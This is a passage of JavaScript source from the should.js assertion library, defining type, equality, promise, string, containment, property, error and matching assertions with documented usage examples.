    Assertion.add('Function', function() {
      this.params = {operator: 'to be a function'};

      this.have.type('function');
    });

    /**
     * Assert given object is object
     * @name Object
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Object', function() {
      this.params = {operator: 'to be an object'};

      this.is.not.null().and.have.type('object');
    });

    /**
     * Assert given object is string
     * @name String
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('String', function() {
      this.params = {operator: 'to be a string'};

      this.have.type('string');
    });

    /**
     * Assert given object is array
     * @name Array
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Array', function() {
      this.params = {operator: 'to be an array'};

      this.have.class('Array');
    });

    /**
     * Assert given object is boolean
     * @name Boolean
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Boolean', function() {
      this.params = {operator: 'to be a boolean'};

      this.have.type('boolean');
    });

    /**
     * Assert given object is error
     * @name Error
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Error', function() {
      this.params = {operator: 'to be an error'};

      this.have.instanceOf(Error);
    });

    /**
     * Assert given object is a date
     * @name Date
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Date', function() {
      this.params = {operator: 'to be a date'};

      this.have.instanceOf(Date);
    });

    /**
     * Assert given object is null
     * @name null
     * @alias Assertion#Null
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('null', function() {
      this.params = {operator: 'to be null'};

      this.assert(this.obj === null);
    });

    Assertion.alias('null', 'Null');

    /**
     * Assert given object has some internal [[Class]], via Object.prototype.toString call
     * @name class
     * @alias Assertion#Class
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('class', function(cls) {
      this.params = {operator: 'to have [[Class]] ' + cls};

      this.assert(Object.prototype.toString.call(this.obj) === '[object ' + cls + ']');
    });

    Assertion.alias('class', 'Class');

    /**
     * Assert given object is undefined
     * @name undefined
     * @alias Assertion#Undefined
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('undefined', function() {
      this.params = {operator: 'to be undefined'};

      this.assert(this.obj === void 0);
    });

    Assertion.alias('undefined', 'Undefined');

    /**
     * Assert given object supports es6 iterable protocol (just check
     * that object has property Symbol.iterator, which is a function)
     * @name iterable
     * @memberOf Assertion
     * @category assertion es6
     */
    Assertion.add('iterable', function() {
      this.params = {operator: 'to be iterable'};

      should(this.obj).have.property(Symbol.iterator).which.is.a.Function();
    });

    /**
     * Assert given object supports es6 iterator protocol (just check
     * that object has property next, which is a function)
     * @name iterator
     * @memberOf Assertion
     * @category assertion es6
     */
    Assertion.add('iterator', function() {
      this.params = {operator: 'to be iterator'};

      should(this.obj).have.property('next').which.is.a.Function();
    });

    /**
     * Assert given object is a generator object
     * @name generator
     * @memberOf Assertion
     * @category assertion es6
     */
    Assertion.add('generator', function() {
      this.params = {operator: 'to be generator'};

      should(this.obj).be.iterable
        .and.iterator
        .and.it.is.equal(this.obj[Symbol.iterator]());
    });
  }

  function formatEqlResult(r, a, b) {
    return ((r.path.length > 0 ? 'at ' + r.path.map(formatProp).join(' -> ') : '') +
    (r.a === a ? '' : ', A has ' + format(r.a)) +
    (r.b === b ? '' : ' and B has ' + format(r.b)) +
    (r.showReason ? ' because ' + r.reason : '')).trim();
  }

  function equalityAssertions(should, Assertion) {


    /**
     * Deep object equality comparison. For full spec see [`should-equal tests`](https://github.com/shouldjs/equal/blob/master/test.js).
     *
     * @name eql
     * @memberOf Assertion
     * @category assertion equality
     * @alias Assertion#deepEqual
     * @param {*} val Expected value
     * @param {string} [description] Optional message
     * @example
     *
     * (10).should.be.eql(10);
     * ('10').should.not.be.eql(10);
     * (-0).should.not.be.eql(+0);
     *
     * NaN.should.be.eql(NaN);
     *
     * ({ a: 10}).should.be.eql({ a: 10 });
     * [ 'a' ].should.not.be.eql({ '0': 'a' });
     */
    Assertion.add('eql', function(val, description) {
      this.params = {operator: 'to equal', expected: val, message: description};
      var obj = this.obj;
      var fails = eq(this.obj, val, should.config);
      this.params.details = fails.map(function(fail) {
        return formatEqlResult(fail, obj, val);
      }).join(', ');

      this.params.showDiff = eq(getGlobalType(obj), getGlobalType(val)).length === 0;

      this.assert(fails.length === 0);
    });

    /**
     * Exact comparison using ===.
     *
     * @name equal
     * @memberOf Assertion
     * @category assertion equality
     * @alias Assertion#exactly
     * @param {*} val Expected value
     * @param {string} [description] Optional message
     * @example
     *
     * 10.should.be.equal(10);
     * 'a'.should.be.exactly('a');
     *
     * should(null).be.exactly(null);
     */
    Assertion.add('equal', function(val, description) {
      this.params = {operator: 'to be', expected: val, message: description};

      this.params.showDiff = eq(getGlobalType(this.obj), getGlobalType(val)).length === 0;

      this.assert(val === this.obj);
    });

    Assertion.alias('equal', 'exactly');
    Assertion.alias('eql', 'deepEqual');

    function addOneOf(name, message, method) {
      Assertion.add(name, function(vals) {
        if (arguments.length !== 1) {
          vals = Array.prototype.slice.call(arguments);
        } else {
          should(vals).be.Array();
        }

        this.params = {operator: message, expected: vals};

        var obj = this.obj;
        var found = false;

        forEach(vals, function(val) {
          try {
            should(val)[method](obj);
            found = true;
            return false;
          } catch (e) {
            if (e instanceof should.AssertionError) {
              return;//do nothing
            }
            throw e;
          }
        });

        this.assert(found);
      });
    }

    /**
     * Exact comparison using === to be one of supplied objects.
     *
     * @name equalOneOf
     * @memberOf Assertion
     * @category assertion equality
     * @param {Array|*} vals Expected values
     * @example
     *
     * 'ab'.should.be.equalOneOf('a', 10, 'ab');
     * 'ab'.should.be.equalOneOf(['a', 10, 'ab']);
     */
    addOneOf('equalOneOf', 'to be equals one of', 'equal');

    /**
     * Exact comparison using .eql to be one of supplied objects.
     *
     * @name oneOf
     * @memberOf Assertion
     * @category assertion equality
     * @param {Array|*} vals Expected values
     * @example
     *
     * ({a: 10}).should.be.oneOf('a', 10, 'ab', {a: 10});
     * ({a: 10}).should.be.oneOf(['a', 10, 'ab', {a: 10}]);
     */
    addOneOf('oneOf', 'to be one of', 'eql');

  }

  function promiseAssertions(should, Assertion) {
    /**
     * Assert given object is a Promise
     *
     * @name Promise
     * @memberOf Assertion
     * @category assertion promises
     * @example
     *
     * promise.should.be.Promise()
     * (new Promise(function(resolve, reject) { resolve(10); })).should.be.a.Promise()
     * (10).should.not.be.a.Promise()
     */
    Assertion.add('Promise', function() {
      this.params = {operator: 'to be promise'};

      var obj = this.obj;

      should(obj).have.property('then')
        .which.is.a.Function();
    });

    /**
     * Assert given promise will be fulfilled. Result of assertion is still .thenable and should be handled accordingly.
     *
     * @name fulfilled
     * @memberOf Assertion
     * @returns {Promise}
     * @category assertion promises
     * @example
     *
     * // don't forget to handle async nature
     * (new Promise(function(resolve, reject) { resolve(10); })).should.be.fulfilled();
     *
     * // test example with mocha it is possible to return promise
     * it('is async', () => {
     *    return new Promise(resolve => resolve(10))
     *      .should.be.fulfilled();
     * });
     */
    Assertion.prototype.fulfilled = function Assertion$fulfilled() {
      this.params = {operator: 'to be fulfilled'};

      should(this.obj).be.a.Promise();

      var that = this;
      return this.obj.then(function next$onResolve(value) {
        if (that.negate) {
          that.fail();
        }
        return value;
      }, function next$onReject(err) {
        if (!that.negate) {
          that.params.operator += ', but it was rejected with ' + should.format(err);
          that.fail();
        }
        return err;
      });
    };

    /**
     * Assert given promise will be rejected. Result of assertion is still .thenable and should be handled accordingly.
     *
     * @name rejected
     * @memberOf Assertion
     * @category assertion promises
     * @returns {Promise}
     * @example
     *
     * // don't forget to handle async nature
     * (new Promise(function(resolve, reject) { resolve(10); }))
     *    .should.not.be.rejected();
     *
     * // test example with mocha it is possible to return promise
     * it('is async', () => {
     *    return new Promise((resolve, reject) => reject(new Error('boom')))
     *      .should.be.rejected();
     * });
     */
    Assertion.prototype.rejected = function() {
      this.params = {operator: 'to be rejected'};

      should(this.obj).be.a.Promise();

      var that = this;
      return this.obj.then(function(value) {
        if (!that.negate) {
          that.params.operator += ', but it was fulfilled';
          if (arguments.length != 0) {
            that.params.operator += ' with ' + should.format(value);
          }
          that.fail();
        }
        return value;
      }, function next$onError(err) {
        if (that.negate) {
          that.fail();
        }
        return err;
      });
    };

    /**
     * Assert given promise will be fulfilled with some expected value (value compared using .eql).
     * Result of assertion is still .thenable and should be handled accordingly.
     *
     * @name fulfilledWith
     * @memberOf Assertion
     * @category assertion promises
     * @returns {Promise}
     * @example
     *
     * // don't forget to handle async nature
     * (new Promise(function(resolve, reject) { resolve(10); }))
     *    .should.be.fulfilledWith(10);
     *
     * // test example with mocha it is possible to return promise
     * it('is async', () => {
     *    return new Promise((resolve, reject) => resolve(10))
     *       .should.be.fulfilledWith(10);
     * });
     */
    Assertion.prototype.fulfilledWith = function(expectedValue) {
      this.params = {operator: 'to be fulfilled with ' + should.format(expectedValue)};

      should(this.obj).be.a.Promise();

      var that = this;
      return this.obj.then(function(value) {
        if (that.negate) {
          that.fail();
        }
        should(value).eql(expectedValue);
        return value;
      }, function next$onError(err) {
        if (!that.negate) {
          that.params.operator += ', but it was rejected with ' + should.format(err);
          that.fail();
        }
        return err;
      });
    };

    /**
     * Assert given promise will be rejected with some sort of error. Arguments is the same for Assertion#throw.
     * Result of assertion is still .thenable and should be handled accordingly.
     *
     * @name rejectedWith
     * @memberOf Assertion
     * @category assertion promises
     * @returns {Promise}
     * @example
     *
     * function failedPromise() {
     *   return new Promise(function(resolve, reject) {
     *     reject(new Error('boom'))
     *   })
     * }
     * failedPromise().should.be.rejectedWith(Error);
     * failedPromise().should.be.rejectedWith('boom');
     * failedPromise().should.be.rejectedWith(/boom/);
     * failedPromise().should.be.rejectedWith(Error, { message: 'boom' });
     * failedPromise().should.be.rejectedWith({ message: 'boom' });
     *
     * // test example with mocha it is possible to return promise
     * it('is async', () => {
     *    return failedPromise().should.be.rejectedWith({ message: 'boom' });
     * });
     */
    Assertion.prototype.rejectedWith = function(message, properties) {
      this.params = {operator: 'to be rejected'};

      should(this.obj).be.a.Promise();

      var that = this;
      return this.obj.then(function(value) {
        if (!that.negate) {
          that.fail();
        }
        return value;
      }, function next$onError(err) {
        if (that.negate) {
          that.fail();
        }

        var errorMatched = true;
        var errorInfo = '';

        if ('string' === typeof message) {
          errorMatched = message === err.message;
        } else if (message instanceof RegExp) {
          errorMatched = message.test(err.message);
        } else if ('function' === typeof message) {
          errorMatched = err instanceof message;
        } else if (message !== null && typeof message === 'object') {
          try {
            should(err).match(message);
          } catch (e) {
            if (e instanceof should.AssertionError) {
              errorInfo = ': ' + e.message;
              errorMatched = false;
            } else {
              throw e;
            }
          }
        }

        if (!errorMatched) {
          if ( typeof message === 'string' || message instanceof RegExp) {
            errorInfo = ' with a message matching ' + should.format(message) + ", but got '" + err.message + "'";
          } else if ('function' === typeof message) {
            errorInfo = ' of type ' + functionName(message) + ', but got ' + functionName(err.constructor);
          }
        } else if ('function' === typeof message && properties) {
          try {
            should(err).match(properties);
          } catch (e) {
            if (e instanceof should.AssertionError) {
              errorInfo = ': ' + e.message;
              errorMatched = false;
            } else {
              throw e;
            }
          }
        }

        that.params.operator += errorInfo;

        that.assert(errorMatched);

        return err;
      });
    };

    /**
     * Assert given object is promise and wrap it in PromisedAssertion, which has all properties of Assertion.
     * That means you can chain as with usual Assertion.
     * Result of assertion is still .thenable and should be handled accordingly.
     *
     * @name finally
     * @memberOf Assertion
     * @alias Assertion#eventually
     * @category assertion promises
     * @returns {PromisedAssertion} Like Assertion, but .then this.obj in Assertion
     * @example
     *
     * (new Promise(function(resolve, reject) { resolve(10); }))
     *    .should.be.eventually.equal(10);
     *
     * // test example with mocha it is possible to return promise
     * it('is async', () => {
     *    return new Promise(resolve => resolve(10))
     *      .should.be.finally.equal(10);
     * });
     */
    Object.defineProperty(Assertion.prototype, 'finally', {
      get: function() {
        should(this.obj).be.a.Promise();

        var that = this;

        return new PromisedAssertion(this.obj.then(function(obj) {
          var a = should(obj);

          a.negate = that.negate;
          a.anyOne = that.anyOne;

          return a;
        }));
      }
    });

    Assertion.alias('finally', 'eventually');
  }

  /*
   * should.js - assertion library
   * Copyright(c) 2010-2013 TJ Holowaychuk <tj@vision-media.ca>
   * Copyright(c) 2013-2016 Denis Bardadym <bardadymchik@gmail.com>
   * MIT Licensed
   */

  function stringAssertions(should, Assertion) {
    /**
     * Assert given string starts with prefix
     * @name startWith
     * @memberOf Assertion
     * @category assertion strings
     * @param {string} str Prefix
     * @param {string} [description] Optional message
     * @example
     *
     * 'abc'.should.startWith('a');
     */
    Assertion.add('startWith', function(str, description) {
      this.params = { operator: 'to start with ' + should.format(str), message: description };

      this.assert(0 === this.obj.indexOf(str));
    });

    /**
     * Assert given string ends with prefix
     * @name endWith
     * @memberOf Assertion
     * @category assertion strings
     * @param {string} str Prefix
     * @param {string} [description] Optional message
     * @example
     *
     * 'abca'.should.endWith('a');
     */
    Assertion.add('endWith', function(str, description) {
      this.params = { operator: 'to end with ' + should.format(str), message: description };

      this.assert(this.obj.indexOf(str, this.obj.length - str.length) >= 0);
    });
  }

  function containAssertions(should, Assertion) {
    var i = should.format;

    /**
     * Assert that given object contain something that equal to `other`. It uses `should-equal` for equality checks.
     * If given object is array it search that one of elements was equal to `other`.
     * If given object is string it checks if `other` is a substring - expected that `other` is a string.
     * If given object is Object it checks that `other` is a subobject - expected that `other` is a object.
     *
     * @name containEql
     * @memberOf Assertion
     * @category assertion contain
     * @param {*} other Nested object
     * @example
     *
     * [1, 2, 3].should.containEql(1);
     * [{ a: 1 }, 'a', 10].should.containEql({ a: 1 });
     *
     * 'abc'.should.containEql('b');
     * 'ab1c'.should.containEql(1);
     *
     * ({ a: 10, c: { d: 10 }}).should.containEql({ a: 10 });
     * ({ a: 10, c: { d: 10 }}).should.containEql({ c: { d: 10 }});
     * ({ a: 10, c: { d: 10 }}).should.containEql({ b: 10 });
     * // throws AssertionError: expected { a: 10, c: { d: 10 } } to contain { b: 10 }
     * //            expected { a: 10, c: { d: 10 } } to have property b
     */
    Assertion.add('containEql', function(other) {
      this.params = { operator: 'to contain ' + i(other) };

      this.is.not.null().and.not.undefined();

      var obj = this.obj;

      if (typeof obj == 'string') {
        this.assert(obj.indexOf(String(other)) >= 0);
      } else if (isIterable(obj)) {
        this.assert(some(obj, function(v) {
          return eq(v, other).length === 0;
        }));
      } else {
        forEach(other, function(value, key) {
          should(obj).have.value(key, value);
        }, this);
      }
    });

    /**
     * Assert that given object is contain equally structured object on the same depth level.
     * If given object is an array and `other` is an array it checks that the eql elements is going in the same sequence in given array (recursive)
     * If given object is an object it checks that the same keys contain deep equal values (recursive)
     * On other cases it try to check with `.eql`
     *
     * @name containDeepOrdered
     * @memberOf Assertion
     * @category assertion contain
     * @param {*} other Nested object
     * @example
     *
     * [ 1, 2, 3].should.containDeepOrdered([1, 2]);
     * [ 1, 2, [ 1, 2, 3 ]].should.containDeepOrdered([ 1, [ 2, 3 ]]);
     *
     * ({ a: 10, b: { c: 10, d: [1, 2, 3] }}).should.containDeepOrdered({a: 10});
     * ({ a: 10, b: { c: 10, d: [1, 2, 3] }}).should.containDeepOrdered({b: {c: 10}});
     * ({ a: 10, b: { c: 10, d: [1, 2, 3] }}).should.containDeepOrdered({b: {d: [1, 3]}});
     */
    Assertion.add('containDeepOrdered', function(other) {
      this.params = {operator: 'to contain ' + i(other)};

      var obj = this.obj;
      if (typeof obj == 'string') {// expect other to be string
        this.is.equal(String(other));
      } else if (isIterable(obj) && isIterable(other)) {
        var objIterator = iterator(obj);
        var otherIterator = iterator(other);

        var nextObj = objIterator.next();
        var nextOther = otherIterator.next();
        while (!nextObj.done && !nextOther.done) {
          try {
            should(nextObj.value[1]).containDeepOrdered(nextOther.value[1]);
            nextOther = otherIterator.next();
          } catch (e) {
            if (!(e instanceof should.AssertionError)) {
              throw e;
            }
          }
          nextObj = objIterator.next();
        }

        this.assert(nextOther.done);
      } else if (obj != null && other != null && typeof obj == 'object' && typeof other == 'object') {//TODO compare types object contains object case
        forEach(other, function(value, key) {
          should(obj[key]).containDeepOrdered(value);
        });

        // if both objects is empty means we finish traversing - and we need to compare for hidden values
        if (isEmpty(other)) {
          this.eql(other);
        }
      } else {
        this.eql(other);
      }
    });

    /**
     * The same like `Assertion#containDeepOrdered` but all checks on arrays without order.
     *
     * @name containDeep
     * @memberOf Assertion
     * @category assertion contain
     * @param {*} other Nested object
     * @example
     *
     * [ 1, 2, 3].should.containDeep([2, 1]);
     * [ 1, 2, [ 1, 2, 3 ]].should.containDeep([ 1, [ 3, 1 ]]);
     */
    Assertion.add('containDeep', function(other) {
      this.params = {operator: 'to contain ' + i(other)};

      var obj = this.obj;
      if (typeof obj == 'string') {// expect other to be string
        this.is.equal(String(other));
      } else if (isIterable(obj) && isIterable(other)) {
        var usedKeys = {};
        forEach(other, function(otherItem) {
          this.assert(some(obj, function(item, index) {
            if (index in usedKeys) {
              return false;
            }

            try {
              should(item).containDeep(otherItem);
              usedKeys[index] = true;
              return true;
            } catch (e) {
              if (e instanceof should.AssertionError) {
                return false;
              }
              throw e;
            }
          }));
        }, this);
      } else if (obj != null && other != null && typeof obj == 'object' && typeof other == 'object') {// object contains object case
        forEach(other, function(value, key) {
          should(obj[key]).containDeep(value);
        });

        // if both objects is empty means we finish traversing - and we need to compare for hidden values
        if (isEmpty(other)) {
          this.eql(other);
        }
      } else {
        this.eql(other);
      }
    });

  }

  var aSlice = Array.prototype.slice;

  function propertyAssertions(should, Assertion) {
    var i = should.format;
    /**
     * Asserts given object has some descriptor. **On success it change given object to be value of property**.
     *
     * @name propertyWithDescriptor
     * @memberOf Assertion
     * @category assertion property
     * @param {string} name Name of property
     * @param {Object} desc Descriptor like used in Object.defineProperty (not required to add all properties)
     * @example
     *
     * ({ a: 10 }).should.have.propertyWithDescriptor('a', { enumerable: true });
     */
    Assertion.add('propertyWithDescriptor', function(name, desc) {
      this.params = {actual: this.obj, operator: 'to have own property with descriptor ' + i(desc)};
      var obj = this.obj;
      this.have.ownProperty(name);
      should(Object.getOwnPropertyDescriptor(Object(obj), name)).have.properties(desc);
    });

    function processPropsArgs() {
      var args = {};
      if (arguments.length > 1) {
        args.names = aSlice.call(arguments);
      } else {
        var arg = arguments[0];
        if (typeof arg === 'string') {
          args.names = [arg];
        } else if (Array.isArray(arg)) {
          args.names = arg;
        } else {
          args.names = Object.keys(arg);
          args.values = arg;
        }
      }
      return args;
    }


    /**
     * Asserts given object has enumerable property with optionally value. **On success it change given object to be value of property**.
     *
     * @name enumerable
     * @memberOf Assertion
     * @category assertion property
     * @param {string} name Name of property
     * @param {*} [val] Optional property value to check
     * @example
     *
     * ({ a: 10 }).should.have.enumerable('a');
     */
    Assertion.add('enumerable', function(name, val) {
      name = convertPropertyName(name);

      this.params = {
        operator: "to have enumerable property " + formatProp(name) + (arguments.length > 1 ? " equal to " + i(val): "")
      };

      var desc = { enumerable: true };
      if (arguments.length > 1) {
        desc.value = val;
      }
      this.have.propertyWithDescriptor(name, desc);
    });

    /**
     * Asserts given object has enumerable properties
     *
     * @name enumerables
     * @memberOf Assertion
     * @category assertion property
     * @param {Array|...string|Object} names Names of property
     * @example
     *
     * ({ a: 10, b: 10 }).should.have.enumerables('a');
     */
    Assertion.add('enumerables', function(/*names*/) {
      var args = processPropsArgs.apply(null, arguments);

      this.params = {
        operator: "to have enumerables " + args.names.map(formatProp)
      };

      var obj = this.obj;
      args.names.forEach(function(name) {
        should(obj).have.enumerable(name);
      });
    });

    /**
     * Asserts given object has property with optionally value. **On success it change given object to be value of property**.
     *
     * @name property
     * @memberOf Assertion
     * @category assertion property
     * @param {string} name Name of property
     * @param {*} [val] Optional property value to check
     * @example
     *
     * ({ a: 10 }).should.have.property('a');
     */
    Assertion.add('property', function(name, val) {
      name = convertPropertyName(name);
      if (arguments.length > 1) {
        var p = {};
        p[name] = val;
        this.have.properties(p);
      } else {
        this.have.properties(name);
      }
      this.obj = this.obj[name];
    });

    /**
     * Asserts given object has properties. On this method affect .any modifier, which allow to check not all properties.
     *
     * @name properties
     * @memberOf Assertion
     * @category assertion property
     * @param {Array|...string|Object} names Names of property
     * @example
     *
     * ({ a: 10 }).should.have.properties('a');
     * ({ a: 10, b: 20 }).should.have.properties([ 'a' ]);
     * ({ a: 10, b: 20 }).should.have.properties({ b: 20 });
     */
    Assertion.add('properties', function(names) {
      var values = {};
      if (arguments.length > 1) {
        names = aSlice.call(arguments);
      } else if (!Array.isArray(names)) {
        if (typeof names == 'string' || typeof names == 'symbol') {
          names = [names];
        } else {
          values = names;
          names = Object.keys(names);
        }
      }

      var obj = Object(this.obj), missingProperties = [];

      //just enumerate properties and check if they all present
      names.forEach(function(name) {
        if (!(name in obj)) {
          missingProperties.push(formatProp(name));
        }
      });

      var props = missingProperties;
      if (props.length === 0) {
        props = names.map(formatProp);
      } else if (this.anyOne) {
        props = names.filter(function(name) {
          return missingProperties.indexOf(formatProp(name)) < 0;
        }).map(formatProp);
      }

      var operator = (props.length === 1 ?
          'to have property ' : 'to have ' + (this.anyOne ? 'any of ' : '') + 'properties ') + props.join(', ');

      this.params = {obj: this.obj, operator: operator};

      //check that all properties presented
      //or if we request one of them that at least one them presented
      this.assert(missingProperties.length === 0 || (this.anyOne && missingProperties.length != names.length));

      // check if values in object matched expected
      var valueCheckNames = Object.keys(values);
      if (valueCheckNames.length) {
        var wrongValues = [];
        props = [];

        // now check values, as there we have all properties
        valueCheckNames.forEach(function(name) {
          var value = values[name];
          if (eq(obj[name], value).length !== 0) {
            wrongValues.push(formatProp(name) + ' of ' + i(value) + ' (got ' + i(obj[name]) + ')');
          } else {
            props.push(formatProp(name) + ' of ' + i(value));
          }
        });

        if ((wrongValues.length !== 0 && !this.anyOne) || (this.anyOne && props.length === 0)) {
          props = wrongValues;
        }

        operator = (props.length === 1 ?
          'to have property ' : 'to have ' + (this.anyOne ? 'any of ' : '') + 'properties ') + props.join(', ');

        this.params = {obj: this.obj, operator: operator};

        //if there is no not matched values
        //or there is at least one matched
        this.assert(wrongValues.length === 0 || (this.anyOne && wrongValues.length != valueCheckNames.length));
      }
    });

    /**
     * Asserts given object has property `length` with given value `n`
     *
     * @name length
     * @alias Assertion#lengthOf
     * @memberOf Assertion
     * @category assertion property
     * @param {number} n Expected length
     * @param {string} [description] Optional message
     * @example
     *
     * [1, 2].should.have.length(2);
     */
    Assertion.add('length', function(n, description) {
      this.have.property('length', n, description);
    });

    Assertion.alias('length', 'lengthOf');

    /**
     * Asserts given object has own property. **On success it change given object to be value of property**.
     *
     * @name ownProperty
     * @alias Assertion#hasOwnProperty
     * @memberOf Assertion
     * @category assertion property
     * @param {string} name Name of property
     * @param {string} [description] Optional message
     * @example
     *
     * ({ a: 10 }).should.have.ownProperty('a');
     */
    Assertion.add('ownProperty', function(name, description) {
      name = convertPropertyName(name);
      this.params = {
        actual: this.obj,
        operator: 'to have own property ' + formatProp(name),
        message: description
      };

      this.assert(hasOwnProperty$1(this.obj, name));

      this.obj = this.obj[name];
    });

    Assertion.alias('ownProperty', 'hasOwnProperty');

    /**
     * Asserts given object is empty. For strings, arrays and arguments it checks .length property, for objects it checks keys.
     *
     * @name empty
     * @memberOf Assertion
     * @category assertion property
     * @example
     *
     * ''.should.be.empty();
     * [].should.be.empty();
     * ({}).should.be.empty();
     */
    Assertion.add('empty', function() {
      this.params = {operator: 'to be empty'};
      this.assert(isEmpty(this.obj));
    }, true);

    /**
     * Asserts given object has such keys. Compared to `properties`, `keys` does not accept Object as a argument.
     * When calling via .key current object in assertion changed to value of this key
     *
     * @name keys
     * @alias Assertion#key
     * @memberOf Assertion
     * @category assertion property
     * @param {...*} keys Keys to check
     * @example
     *
     * ({ a: 10 }).should.have.keys('a');
     * ({ a: 10, b: 20 }).should.have.keys('a', 'b');
     * (new Map([[1, 2]])).should.have.key(1);
     */
    Assertion.add('keys', function(keys) {
      keys = aSlice.call(arguments);

      var obj = Object(this.obj);

      // first check if some keys are missing
      var missingKeys = keys.filter(function(key) {
        return !has(obj, key);
      });

      var verb = 'to have ' + (keys.length === 1 ? 'key ' : 'keys ');

      this.params = {operator: verb + keys.join(', ')};

      if (missingKeys.length > 0) {
        this.params.operator += '\n\tmissing keys: ' + missingKeys.join(', ');
      }

      this.assert(missingKeys.length === 0);
    });


    Assertion.add('key', function(key) {
      this.have.keys(key);
      this.obj = get(this.obj, key);
    });

    /**
     * Asserts given object has such value for given key
     *
     * @name value
     * @memberOf Assertion
     * @category assertion property
     * @param {*} key Key to check
     * @param {*} value Value to check
     * @example
     *
     * ({ a: 10 }).should.have.value('a', 10);
     * (new Map([[1, 2]])).should.have.value(1, 2);
     */
    Assertion.add('value', function(key, value) {
      this.have.key(key).which.is.eql(value);
    });

    /**
     * Asserts given object has such size.
     *
     * @name size
     * @memberOf Assertion
     * @category assertion property
     * @param {number} s Size to check
     * @example
     *
     * ({ a: 10 }).should.have.size(1);
     * (new Map([[1, 2]])).should.have.size(1);
     */
    Assertion.add('size', function(s) {
      this.params = { operator: 'to have size ' + s };
      size(this.obj).should.be.exactly(s);
    });

    /**
     * Asserts given object has nested property in depth by path. **On success it change given object to be value of final property**.
     *
     * @name propertyByPath
     * @memberOf Assertion
     * @category assertion property
     * @param {Array|...string} properties Properties path to search
     * @example
     *
     * ({ a: {b: 10}}).should.have.propertyByPath('a', 'b').eql(10);
     */
    Assertion.add('propertyByPath', function(properties) {
      if (arguments.length > 1) {
        properties = aSlice.call(arguments);
      } else if (arguments.length === 1 && typeof properties == 'string') {
        properties = [properties];
      } else if (arguments.length === 0) {
        properties = [];
      }

      var allProps = properties.map(formatProp);

      properties = properties.map(String);

      var obj = should(Object(this.obj));

      var foundProperties = [];

      var currentProperty;
      while (properties.length) {
        currentProperty = properties.shift();
        this.params = {operator: 'to have property by path ' + allProps.join(', ') + ' - failed on ' + formatProp(currentProperty)};
        obj = obj.have.property(currentProperty);
        foundProperties.push(currentProperty);
      }

      this.params = {obj: this.obj, operator: 'to have property by path ' + allProps.join(', ')};

      this.obj = obj.obj;
    });
  }

  function errorAssertions(should, Assertion) {
    var i = should.format;

    /**
     * Assert given function throws error with such message.
     *
     * @name throw
     * @memberOf Assertion
     * @category assertion errors
     * @alias Assertion#throwError
     * @param {string|RegExp|Function|Object|GeneratorFunction|GeneratorObject} [message] Message to match or properties
     * @param {Object} [properties] Optional properties that will be matched to thrown error
     * @example
     *
     * (function(){ throw new Error('fail') }).should.throw();
     * (function(){ throw new Error('fail') }).should.throw('fail');
     * (function(){ throw new Error('fail') }).should.throw(/fail/);
     *
     * (function(){ throw new Error('fail') }).should.throw(Error);
     * var error = new Error();
     * error.a = 10;
     * (function(){ throw error; }).should.throw(Error, { a: 10 });
     * (function(){ throw error; }).should.throw({ a: 10 });
     * (function*() {
     *   yield throwError();
     * }).should.throw();
     */
    Assertion.add('throw', function(message, properties) {
      var fn = this.obj;
      var err = {};
      var errorInfo = '';
      var thrown = false;

      if (isGeneratorFunction(fn)) {
        return should(fn()).throw(message, properties);
      } else if (isIterator(fn)) {
        return should(fn.next.bind(fn)).throw(message, properties);
      }

      this.is.a.Function();

      var errorMatched = true;

      try {
        fn();
      } catch (e) {
        thrown = true;
        err = e;
      }

      if (thrown) {
        if (message) {
          if ('string' == typeof message) {
            errorMatched = message == err.message;
          } else if (message instanceof RegExp) {
            errorMatched = message.test(err.message);
          } else if ('function' == typeof message) {
            errorMatched = err instanceof message;
          } else if (null != message) {
            try {
              should(err).match(message);
            } catch (e) {
              if (e instanceof should.AssertionError) {
                errorInfo = ": " + e.message;
                errorMatched = false;
              } else {
                throw e;
              }
            }
          }

          if (!errorMatched) {
            if ('string' == typeof message || message instanceof RegExp) {
              errorInfo = " with a message matching " + i(message) + ", but got '" + err.message + "'";
            } else if ('function' == typeof message) {
              errorInfo = " of type " + functionName(message) + ", but got " + functionName(err.constructor);
            }
          } else if ('function' == typeof message && properties) {
            try {
              should(err).match(properties);
            } catch (e) {
              if (e instanceof should.AssertionError) {
                errorInfo = ": " + e.message;
                errorMatched = false;
              } else {
                throw e;
              }
            }
          }
        } else {
          errorInfo = " (got " + i(err) + ")";
        }
      }

      this.params = { operator: 'to throw exception' + errorInfo };

      this.assert(thrown);
      this.assert(errorMatched);
    });

    Assertion.alias('throw', 'throwError');
  }

  function matchingAssertions(should, Assertion) {
    var i = should.format;

    /**
     * Asserts if given object match `other` object, using some assumptions:
     * First object matched if they are equal,
     * If `other` is a regexp and given object is a string check on matching with regexp
     * If `other` is a regexp and given object is an array check if all elements matched regexp
     * If `other` is a regexp and given object is an object check values on matching regexp
     * If `other` is a function check if this function throws AssertionError on given object or return false - it will be assumed as not matched
     * If `other` is an object check if the same keys matched with above rules
     * All other cases failed.
     *
     * Usually it is right idea to add pre type assertions, like `.String()` or `.Object()` to be sure assertions will do what you are expecting.
     * Object iteration happen by keys (properties with enumerable: true), thus some objects can cause small pain. Typical example is js
     * Error - it by default has 2 properties `name` and `message`, but they both non-enumerable. In this case make sure you specify checking props (see examples).
     *
     * @name match
     * @memberOf Assertion
     * @category assertion matching
     * @param {*} other Object to match
     * @param {string} [description] Optional message
     * @example
     * 'foobar'.should.match(/^foo/);
     * 'foobar'.should.not.match(/^bar/);
     *
     * ({ a: 'foo', c: 'barfoo' }).should.match(/foo$/);
     *
     * ['a', 'b', 'c'].should.match(/[a-z]/);
     *
     * (5).should.not.match(function(n) {
     *   return n < 0;
     * });
     * (5).should.not.match(function(it) {
     *    it.should.be.an.Array();
     * });
     * ({ a: 10, b: 'abc', c: { d: 10 }, d: 0 }).should
     * .match({ a: 10, b: /c$/, c: function(it) {
     *    return it.should.have.property('d', 10);
     * }});
     *
     * [10, 'abc', { d: 10 }, 0].should
     * .match({ '0': 10, '1': /c$/, '2': function(it) {
     *    return it.should.have.property('d', 10);
     * }});
     *
     * var myString = 'abc';
     *
     * myString.should.be.a.String().and.match(/abc/);
     *
